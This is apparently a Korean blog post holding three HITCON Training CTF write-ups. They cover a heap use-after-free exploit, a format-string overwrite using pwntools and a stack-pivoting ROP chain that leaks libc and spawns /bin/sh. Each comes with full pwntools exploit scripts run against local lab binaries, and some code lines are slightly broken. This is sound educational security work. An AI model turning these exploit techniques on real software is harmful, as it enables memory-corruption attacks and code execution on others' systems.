1. 시작하기전에...

이번 문제를 풀면서 할당된 heap메모리의 해제, 그리고 재할당에 대하여 조금 알게 되었습니다.

여전히 힙알못이라ㅠㅠ heap에 대해 알아가야 할 것들이 많은 것 같네요.. 


이번 포스팅에서 살펴볼 것은 heap의 First Fit과 Use After Free에 대한 내용입니다. 이번 문제의 HITCON Training의 부제가 UAF(Use After Free)여서

간단할 거라고 생각했다가 First Fit개념을 몰라서 한참 해맸습니다.


1-1. First Fit

First Fit을 이해하기 위한 선행지식이 조금 있지만 여기서는 많이 후려쳐서(?) 설명을 해보겠습니다.

먼저, heap의 할당과 해제를 효율적으로 하기위해 해제된 메모리를 핸들링하는 리스트들이 있습니다. 이 리스트들은 메모리 덩어리(chunk)들의 크기에 따라 다양하게 있지요. 자세한건 뒷 포스팅으로 넘기고.. 우선 그런 리스트들이 있다 정도만 인지하고 갑시다.


이 리스트는 새롭게 메모리가 해제될 때마다 tail쪽, 그러니까 리스트의 끝 쪽으로 삽입이 됩니다. 그리고 메모리 할당 요청이 오면 head쪽에서 부터 적당한

메모리가 있는지 검색을 해서 내어주게 됩니다.


char *a = malloc(20);     // 0xe4b010
char *b = malloc(20);     // 0xe4b030
char *c = malloc(20);     // 0xe4b050
char *d = malloc(20);     // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20);           // 0xe4b070
b = malloc(20);           // 0xe4b050
c = malloc(20);           // 0xe4b030
d = malloc(20);           // 0xe4b010

이런 코드가 있을 때, 아래와 같은 순서가 된다는 것이지요.


  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'b' 메모리 해제

    head -> b -> a -> tail

  3. 'c' 메모리 해제

    head -> c -> b -> a -> tail

  4. 'd' 메모리 해제

    head -> d -> c -> b -> a -> tail

  5. 'malloc' 요청

    head -> c -> b -> a -> tail [ 'd' is returned ]

  6. 'malloc' 요청

    head -> b -> a -> tail [ 'c' is returned ]

  7. 'malloc' 요청

    head -> a -> tail [ 'b' is returned ]

  8. 'malloc' 요청

    head -> tail [ 'a' is returned ]


그리고, 아래와 같은 특징도 있습니다.


char *a = malloc(300);    // 0x***010
char *b = malloc(250);    // 0x***150

free(a);

a = malloc(250);          // 0x***010
  1. 'a' 메모리 해제

    head -> a -> tail

  2. 'malloc' 요청

    head -> a2 -> tail [ 'a1' is returned ]


300바이트가 할당된 a가 해제 된 후 250바이트 요청이 들어왔습니다.

리스트에 300바이트짜리 a가 들어있었는데 250바이트가 요청 들어온 상황인데요, 이럴 때엔 300바이트의 공간이 a1과 a2로 쪼개져서 250바이트를 리턴해주고, 50바이트짜리 a2가 리스트에 남게 됩니다. 사이즈가 같으면 a가 통째로 리턴되고요. 단, 20바이트 이하인 경우에는 따로 핸들링이 되기 때문에(fastbin) 이 내용은 해당하지 않습니다.


이 순서와 과정 자체는 취약점이 아니라 리눅스에서 heap메모리를 핸들링하는 과정일 뿐입니다. 다만, 이런 로직을 알고 있어야 heap 공격을 할 수있겠죠.


[참고사이트] https://heap-exploitation.dhavalkapil.com/attacks/first_fit.html

위 참고 사이트는 first_fit뿐만이 아니라 heap의 전반적인 내용, heap exploitation이 상세히 설명되어있습니다.  

 

1-2. Use After Free

UAF는 말그대로 "메모리 해제를 한 다음에 사용을 한다" 는 이야기 입니다.

메모리 해제를 한 후에 그 heap공간을 보면 0이라던지 NULL과 같은 값으로 초기화 되지 않고 전에 사용했던 값이 그대로 남아 있습니다.

실수로 짜여져 로직 상 어떠한 이유로 해제 된 이후 그 공간을 재사용한다면, 의도치 않은 행위 혹은 값을 쓰게 됩니다.

자세한 설명은 아래 참고 사이트에 저어어어엉말 잘 설명되어있습니다.


[참고사이트] https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/  



2. 분석

그럼 문제를 살펴볼까요? hacknote.c에 대한 내용입니다. 이번 문제는 코드의 양이 많아 주요 부분만 잘라서 보도록하겠습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main(){
    setvbuf(stdout,0,2,0);
    setvbuf(stdin,0,2,0);
    char buf[4];
    while(1){
        menu();
        read(0,buf,4);
        switch(atoi(buf)){
            case 1 : 
                add_note();
                break ;
            case 2 : 
                del_note();
                break ;
            case 3 : 
                print_note();
                break ;
            case 4 : 
                exit(0);
                break ;
            default :
                puts("Invalid choice");
                break ;
 
        }
    }   
    return 0;
}
cs


우선 메인입니다. 메뉴를 프린트 해주고 선택받은 메뉴번호(1~4)에 따라 노트추가, 노트 삭제, 노트 출력 등의 기능을 하는 함수를 호출하고있습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct note {
    void (*printnote)();
    char *content ;
};
 
struct note *notelist[5];
 
void add_note(){
    int i ;
    char buf[8];
    int size ;
    if(count > 5){
        puts("Full");
        return ;
    }
    for(i = 0 ; i < 5 ; i ++){
        if(!notelist[i]){
            notelist[i] = (struct note*)malloc(sizeof(struct note));
            if(!notelist[i]){
                puts("Alloca Error");
                exit(-1);
            }
            notelist[i]->printnote = print_note_content;
            printf("Note size :");
            read(0,buf,8);
            size = atoi(buf);
            notelist[i]->content = (char *)malloc(size);
            if(!notelist[i]->content){
                puts("Alloca Error");
                exit(-1);
            }
            printf("Content :");
            read(0,notelist[i]->content,size);
            puts("Success !");
            count++;
            break;
        }
    }
}
cs


note구조체와 이 구조체들을 핸들링하기위한 전역변수 배열(notelist)이 있습니다.

note구조체에는 내용을 프린트 하는 printnote()의 주소를 담을 함수포인터 변수와, 노트의 내용이 적힐 문자열 포인터content 변수가 있네요.


addnote()함수를 살펴보면 먼저, 최대 갯수인 5개를 넘는지 count검사를 합니다. 5개를 초과하려고하면 더이상 추가를 안해주죠

count가 5개 이하면 노트를 추가하는데 로직은 아래와 같습니다.


1) for문(0 to 4)을 돌면서 비어있는 notelist의 공간을 찾는다.

2) 비어있는 notelist를 찾았다면, 그 공간에 note구조체 만큼 사이즈를 할당한다.

3) 할당한 note구조체의 printnote 함수포인터에 print_note_content 주소를 넣어준다.

4) 노트 사이즈를 입력받고 그 사이즈만큼 note구조체의 content에 메모리할당을 해준다.

5) content를 사이즈만큼 입력받아 써주고 전체 노트의 갯수인 count를 1 증가시켜준다.


뒤에서 한번 더 말씀드리겠지만 여기서 눈여겨 보실 곳은 3번과 4번입니다. 메모리 할당 순서에 대해 기억해주세요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void del_note(){
    char buf[4];
    int idx ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= count){
        puts("Out of bound!");
        _exit(0);
    }
    if(notelist[idx]){
        free(notelist[idx]->content);
        free(notelist[idx]);
        puts("Success");
    }
}
cs


다음은 노트를 지우는 del_note입니다. 노트를 지우는 것이니 메모리 해제가 있겠죠?

간단히 삭제할 노트의 index를 입력받고 index가 유효한지 검사합니다. 그리고 해당 index에 노트가 들어있다면

노트의 content를 해제하고나서 notelist에 할당되어있는 note구조체를 해제합니다.


먼저, 노트 다섯개가 모두 할당 되어 있는 형태를 그려봅시다.

대략 이런 모습이겠죠? 전역변수로 선언되어 있는 배열 notelist가 각각 heap에 동적으로 할당된 notel들의 주소를 하나씩 가지고 있을 거에요

그리고 그 노트의 print함수의 주소는 같은 값이겠지만, 4바이트의 함수의 주소를 가지고 있을 테고 다음 4바이트는 content의 주소를 가지고 있겠지요.

구조체의 사이즈는 총 8바이트가 될거에요.


여기서 예를 들어 notelist[0]을 메모리 해제하면 어떤 일이 일어날까요? 바로 위에서 본 del_note()의 메모리 해제 순서와 first fit을 생각해봅시다.

del_note()에서 메모리해제는 content를 해제하고나서 구조체를 해제했죠? 그리고 first fit에는 어떻게 추가 될까요?


head -> notelist[0] -> notelist[0]`s content -> tail


이런 형식으로 리스트에 메모리 공간이 추가가 될거에요.

여기서 한번 더 notelist[1]을 해제하면??


head -> notelist[1] -> notelist[1]`s content -> notelist[0] -> notelist[0]`s content -> tail


해제 순서에 따르면 리스트는 저렇게 유지가 되고 있을거에요. 메모리 사이즈까지 적어서 한번 다시 봅시다.


head -> notelist[1] (8byte) -> notelist[1]`s content (?) -> notelist[0] (8byte) -> notelist[0]`s content (?) -> tail



자, 이 상태에서 하나의 노트를 추가 한다고 해봅시다. 사이즈는 8바이트로요! 왜 하필 8바이트일까요?

그건 notelist[0]의 자리에 원하는 값을 쓰기 위함입니다.


add_note()를 다시 따라가 봅시다. 새로 생성되는 note는 구조체 메모리 만큼(8바이트) 할당을 받아요.

그럼 위 리스트의 head쪽에 가까운 8바이트를 할당 받겠죠? 거기가 어디냐면 notelist[1]의 구조체가 있던 자리에요.

거기에 새로운 구조체가 할당 받아 질거에요. 그리고 한번 더 8바이트 만큼 요청하면 notelist[0]가 있던 곳의 8바이트를 할당 받겠죠.


바로 요 모습이 될거에요. 이제 감이 슬슬 잡히죠. 새롭게 할당 된 content자리는 notelist[0]이 할당되어 있던 자리이고, 앞의 4바이트는 notelist[0]의 내용을 print해주는 함수의 주소가 있던 자리이지요.


그렇담, 저기에 원하는 함수의 주소를 써넣은 후 notelist[0]를 print한다면 원하는 함수를 호출 할 수 있게 됩니다.



3. exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process("./hacknote")
 
 
def addnote(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)
 
def delnote(idx):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(idx))
 
def printnote(idx):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(idx))
 
magic = 0x08048986
addnote(24,"JSbach")
addnote(24,"uisoo")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
 
log.info(p.recv())
cs


분석란에서 설명한 로직을 그대로 exploit코드로 옮겼습니다.

처음엔 24바이트씩 두번 노트를 생성하고 해제를 0번, 1번 순서대로 메모리를 해제했습니다.

그리고 8바이트 크기로 한번더 노트를 생성할 때 content에 우리의 목표인 magic함수의 주소를 써주어 exploit에 성공했습니다.



끗!



1. 시작하기전에...


Format String Bug

포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점으로써 1989년 경에 발견되었다. 이전에는 위험하지 않다고 여겨졌지만, 포맷 스트링 익스플로잇은 프로그램을 충돌시키거나 악의적인 코드를 실행 시키는데 사용될 수 있다. 문제는 포맷팅을 수행하는 printf() 같은 특정한 C 함수들에서 검사되지 않은 사용자 입력을 포맷 스트링 파라미터로 사용하는 것으로부터 나온다. 악의적인 사용자는 %s와 %x 포맷 토큰들을 콜 스택 또는 메모리의 가능한 다른 위치의 데이터를 보이게 하는 데 사용할 수 있다. 또한 %n 포맷 토큰을 사용해서 임의적인 데이터를 임의적인 위치로 쓸 수 있는데, 이것은 printf() 와 비슷한 함수들이 많은 바이트들을 스택에 저장된 주소에 쓰게 한다.


[참조] https://ko.wikipedia.org/wiki/%ED%8F%AC%EB%A7%B7_%EC%8A%A4%ED%8A%B8%EB%A7%81_%EB%B2%84%EA%B7%B8

[참고사이트] http://blog.naver.com/PostView.nhn?blogId=haks2198&logNo=220840244540&categoryNo=0&parentCategoryNo=0&viewDate=&currentPage=1&postListTopCurrentPage=1&from=postView


포맷스트링 버그의 핵심만 요약하자면, printf와 같은 포맷스트링을 인자로 받는 함수에서 변환명세(%x, %c, %d와같은)의 갯수와 동일하게 스택에서 pop하여 출력하는 것에서 부터 시작합니다. 또한 %n은 앞에서 출력한 문자열의 사이즈를 해당 변수에 저장하는데, 이것들을 조합하여 해커가 원하는 메모리 공간에 임의의 원하는 값을 쓸 수 있게 되는 것이지요.


개인적인 생각으로는 많은 취약점들이 프로그래머의 실수에서 부터 시작되기는 하지만, Format String Bug같은 경우에는 특히나 더 실수 의존도(?)가 더 높은 것 같습니다. 다만, 이 취약점이 있다면 해당 주소에 정확히 값을 덮어 쓰기 때문에 canary같은 메모리 보호기법에 영향을 받지 않아 꽤나 강력하다고 생각됩니다. 


포맷스트링버그의 자세한 개념과 페이로드 작성방법은 이 포스팅에서 생략하도록 하겠습니다. 참고사이트를 참고해주세요.

이 포스팅에서는 쉽고 쎈 pwntools의 fmtstr_payload를 사용하여 exploit하는 방법에 대해서 설명하려고 합니다. 


2. 분석

craxme.c

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
 
int magic = 0 ; 
 
int main(){
    char buf[0x100];
    setvbuf(stdout,0,2,0);
    puts("Please crax me !");
    printf("Give me magic :");
    read(0,buf,0x100);
    printf(buf);
    if(magic == 0xda){
        system("cat /home/craxme/flag");
    }else if(magic == 0xfaceb00c){
        system("cat /home/craxme/craxflag");
    }else{
        puts("You need be a phd");
    }   
 
}
cs


가장 먼저 전역변수 magic이 0으로 초기화 되어 있습니다. 메인함수가 시작되면 "Please crax me !" 을 출력한 다음

Give me magic : 이후 buf공간에 0x100(256) 바이트 만큼 read하고 있는데, 버퍼 사이즈만큼 read하고 있기 때문에, BOF는 발생하지 않아보입니다.


이후에는 0으로 초기화된 maigc의 값이 0xda이면 cat /home/craxme/flag를 실행하고, 0xfaceb00c이면 cat /home/craxme/craxflag 를 실행합니다.

이도저도아니면 You need be a phd.를 출력하고 프로그램은 끝나게되겠습니다.


위에 참고사이트로 적어드린 곳을 보고 오셨다면 어느부분이 취약한 지 바로 보이시겠죠?

read직후에 버퍼를 출력해주는 printf(buf); 이 부분에서 printf에 포맷스트링을 쓰지않아 포맷스트링 버그가 발생하게 됩니다.


3. exploit


1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
context.log_level = 'debug'
magic_addr = 0x0804a038
offset = 7 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xda})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
 
proc = process("./craxme")
 
proc.recv()
payload = fmtstr_payload(offset, {magic_addr:0xfaceb00c})
 
proc.sendline(payload)
log.info(proc.recvuntil('!'))
 
cs


※이 문제풀이를 로컬에서 했기 때문에, c소스에서 지정하고있는 경로에 flag파일들을 미리 만들어 두고 시작합니다.


자, 그럼 exploit코드를 보겠습니다. 라고 하기 무색할만큼 차떼고 포떼면 한줄 밖에 안남아요ㅠ

핵심은 fmtstr_payload 함수에 있습니다.


[pwntools] http://docs.pwntools.com/en/stable/fmtstr.html 

위 링크를 보시면 pwntools공식 사이트에 fmtstr_payload가 설명되어있는 페이지를 보실 수 있습니다. 아래는 사이트에서 해당부분을 캡쳐한 것 입니다.


파라미터 중 offset에 관해서 한번 보도록하죠.

설명에서는 the first formatter’s offset you control 라고 되어있습니다. 

해석만해보면 컨트롤 할 첫 번째 포맷터의 오프셋.. 정도가 될텐데 사실 전 이것만 보고는 ?? 이게 무슨말이지 라고 생각했었더랬죠ㅠㅠ

자, 그래서 이게 무슨말이냐면 쉽게 말해서 현재 출력하고 있는 버퍼가 스택 상에서 실제 어디에 있느냐 정도가 되겠습니다.

아직 감이 잘 안오시나요? 아래 그림을 한번 봐주세요.



첫 번째 그림을 보면 read를 실행하는 main+100에서 브레이크포인트를 잡아서 찍어본 스택의 상황입니다. read함수의 인자로 들어간 buf의 주소가 가운데 0xffffd0dc에요.


두 번째 그림을 보면 aaaa %8x %8x %8x %8x %8x %8x %8x 을 넣어 실행한 결과이지요. 두 실행 시기가 달라 메모리주소는 약간 다릅니다만, 만약 같은 시기에 찍었다면 0xffffd0dc와 ffa2996c가 같은 값이 나왔을 것이고, f7ffd000가 f771a000으로 같은 값이 나왔을 거에요.


이제 슬슬 offset의 의미가 감이 오시나요? 포맷스트링 버그에 %x등의 변환명세를 집어 넣었을 때, 버퍼의 값을 찍을 수 있는 거리가 offset이 된다는 이야기입니다.


aaaa 이후 %8x를 일곱개를 넣어 aaaa의 값인 61616161을 찍을 수 있었 듯이 말이지요.


exploit에 이용한 fmtstr_payload함수를 다시 볼게요. offset이후에 딕셔너리 인자가 하나 들어갔습니다. 딱 봐도! 어디에다 무엇을 쓰고 싶은지를 넣어주는 딕셔너리 객체라는 것을 알 수 있으시겠지요.


magic자리에 문제에서 요구하는 0xda와 0xfaceb00c을 넣어주겠다 라고 지정하면, 요구사항에 맞게 포맷스트링 버그를 exploit할 수 있는 페이로드를 리턴해줍니다. 이거 그냥 보내기만 하면돼요.


다들 아시겠지만 혹시나 하는 마음에... 한 가지 팁으로 magic의 주소는 어떻게 알아낼까요?


gdb에서 info variables 라는 명령어를 입력하면 전역변수들의 주소를 알 수 있어요.


결과보고 포스팅 마치겠습니다.



디버그모드로 exploit코드를 실행하였기 때문에 어떤 페이로드를 보냈고, 어떤 결과를 받았는지 dump된 형태로 살펴 볼 수 있습니다.


끝!

1. 시작하기전에...


- Stack Migration(Stack Pivoting)?

HITCON Training의 부제는 migration 입니다. stack migration의 의미를 모르고 문제로 바로 ㄱㄱ했다가 사경을 헤메다...

writup컨닝으로  eip를 바로 컨트롤 하지 않는 것을 보고 이게 무엇일까 하고 많은 고민을 하였죠..


stack의 베이스포인터를 같이 컨트롤 해주면서 스택영역을 자신이 원하는 곳으로 옮깁니다. 그래서 Stack Migration(이주) 라는 표현을 쓴 것 같네요.

구글신님께 간절히 빌어보고, 주변지인찬스를 써본 결과 윈도우 쪽에서는 Stack Pivoting이라는 것이 여기서 말하는 Stack Migration과 같다는 것을

알게되었습니다.


그래서 도대체 이런 짓을 왜 하느냐...


전에 어떤 BOF 관련 문제를 풀 때 분명히 eip의 값이 바뀌는 것 까지 gdb로 확인을 한 후 페이로드를 작성해서 날렸음에도 불구하고.. 프로그램의 흐름이 컨트롤 되지 않는 현상을 겪었습니다. 그때는 왜 안되는지 도무지 알수가 없었습니다.


이번 문제에서도 마찬가지로 eip가 바뀌는 것을 확인을 했으나.. 전혀 exploit이 안되는 상황에 놓였습니다. 


제가 내린 결론은 BOF로 스택에 원하는대로 값을 채울 수 있고, eip레지스터의 값을 컨트롤 할 수 있음에도.. 실행을 할 수 없는 어떤 이유가 있다. 정도로

결론을 내렸습니다. 물론 이번 문제에서도, 또 저번 문제에서도 NX가 걸려있지는 않았지만... 이런 상황에서는 stack을 실행 시킬 수 있는 다른 메모리 공간으로 이동을 시켜야한다! 라고 일단은 정리하고 가려고합니다.

관련되서 정확한 지식을 가지고 계신분은 피드백 주세요ㅠㅠ



2. 분석


migration.c의 내용입니다.


1
2
3
4
5
6
7
8
9
10
int main(){
    if(count != 1337)
        _exit(1);
    count++;
    char buf[40];
    setvbuf(stdout,0,2,0);
    puts("Try your best :");
    read(0,buf,64);
    return ;    
}
cs


소스코드 자체는 간단해요. "Try your best : " 문자열을 출력한 다음 40byte짜리 배열에 64byte만큼 read해서 BOF가 발생하는 코드입니다.


3. exploit


여느때와 마찬가지로 exploit코드를 보면서 찬찬히 뜯어봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
 
log.info(proc.recv())
 
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
 
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
 
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


하... 엄청 기네요ㅋㅋ 사실 간략하게 짜면 짧을 수도 있지만, 설명을 위해 주석도 달고.. 최대한 직관적으로 코드가 이해 되도록 짜서 길어졌어요ㅠ
부분부분 잘라서 볼께요~

3-1 intro 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
cs


먼저 첫 라인부터 43번째 라인까지 한번 보겠습니다.

1 ~ 4라인은 exploit에 필요한 정보들을 쉽게 얻으려고 문제 파일(migration)과 migration이 참조하고 있는 so파일을 ELF()로 열었어요.

여기서 필요한 함수의 plt/got, symbol주소를 얻을 거에요. 


6,7라인은 디버그 모드로 이 코드를 돌리겠다(?) 정도로 보면 될 것 같습니다. 나중에 출력되는 걸 보면 아실거에요!


stack migration이 사용가능한 메모리 공간으로 스택을 이동시켜서 사용하는 거라 그랬져?

12 ~ 16라인에서 이 스택 공간을 정의해주고 있습니다.

사실 이 공간을 선정하는 방법에 대해서는 아직 잘 모르겠습니다ㅠ writeup에서는 bss+0x600, bss+0x700의 공간을 찍고있는데,



보시다시피 objdump로 살펴본바로는 bss는 8바이트 밖에 되지 않아요..

이외의 공간이라는건데 저 부분이 어디인지는 잘모르겠습니다. 다만, gdb로 확인을 했을 때는 0으로 초기화되어있는 공간이기는 하더군요.

저는 dynamic section + 0x600과 0x700을 더한 부분을 사용했습니다. 마찬가지로 이 공간이 어디인지는 모르구요..ㅠ


19~25라인에서는 필요한 plt, got 그리고 symbol주소를 가져왔습니다.

libc에서 puts와 system함수의 차이를 구한 후 이따가 실제 프로그램이 돌아갈 때 puts의 주소를 받아서 system함수를 계산할꺼에요.

그리고 이 과정에서 read함수가 필요하기 때문에 read의 plt주소도 가져옵니다.


그리고 필요한 rop 가젯들을 구해왔어요(37~43). pr은 puts사용할 때, pppr은 read사용할 때 쓰기위함이고! 

leave_ret는 ebp를 바꿔서 스택공간을 바꿀 때 사용할거에요.


3-2. payload


페이로드는 크게 세 부분으로 나뉘어져있어요


1
2
3
4
5
6
7
8
9
10
11
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
cs


우선 step1을 보시면, 더미를 쓰고 스택공간을 옮길거에요.


a를 40개 채워서 버퍼공간을 모두 채운 후 fake_stack1의 주소를 SFP에 덮어써서 ebp의 값을 바꿔줍니다. 그리고 read를 실행해요.

여기서 눈여겨 보셔야할 부분은 스택을 정리하는 부분에 pppr의 가젯 주소가 아닌 leave_ret주소가 들어간다는 점이에요.


read를 실행하고 나서 leave; ret;를 실행 하게 되는 거겠지요? 그렇다면 leave; ret;가 어떤 일을 하는지 한번 보자구요.



에필로그는 다음과 같다.

leave

mov esp, ebp

pop ebp


ret

pop eip

jmp eip


어셈블리어를 해석하자면 'ebp의 주소값을 esp로 복사하고

현재 스택의 제일 위에있는 내용을 ebp에 넣고 return 한다'고 알수있다


출처: http://r00p3r.tistory.com/entry/leave-ret의-이해 [r00p3r]


보시다시피 leave는 esp에 ebp의 값을 넣어주고 ebp를 스택에서부터 팝 해옵니다.

ret는 eip를 스택에서 pop해오고, 그 후에 그 주소로 점프를 뜁니다.


일단 step1에서는 여기까지만 숙지하시고 다음 스텝으로 넘어가볼게요.

정리하자면 step1에서는 스택을 fake_stack1으로 옮겼고, 표준입력으로 받은 값을 이 fake_stack1에 써준다. 그리고 난 후 leave_ret를 실행한다.

이렇게 정리 할 수 있겠습니다.



이제 step2를 이어서 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
cs


맨위에 fake_stack2의 주소를 써주고 있는 것이 보이시나요?

좀전 step1에서 read함수를 실행 한 다음 하는 것이  leave ret라고 했잖아요. 스택 최상단에 있는 값, 그러니까 지금 보내는 payload의

제일 첫번째 값이 ebp값으로 바뀌게 되고(leave), 그 다음에 있는 주소값을 eip에 넣은 후 그 주소로 점프를 뛰게 됩니다.(ret)

따라서 ebp가 fake_stack2로 바뀌고, puts를 실행하게 되겠지요.


puts의 인자는 puts_got에 있는 값을 출력하게 됩니다.

그리고 나서 다시 표준입력으로 fake_stack2에 값을 쓰도록 만들었습니다. 그리고 leave_ret을 하니까

다음 입력에는 fake_stack1의 주소 값이 들어 있으리라 예상할 수 있겠지요.


step2에서는 puts의 got주소를 출력하고 fake_stack2로 스택의 공간을 이동시켰어요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


마지막 step3에서는 출력된 puts의 got를 읽어서 위에서 계산한 offset을 이용하여 system함수의 주소를 계산해 냅니다.
그리고 스택공간을 다시 fake_stac1으로 바꾸고, 표준입출력으로 /bin/sh문자열을 입력받아 system함수를 call하면 마무리됩니다.

끝!


+ Recent posts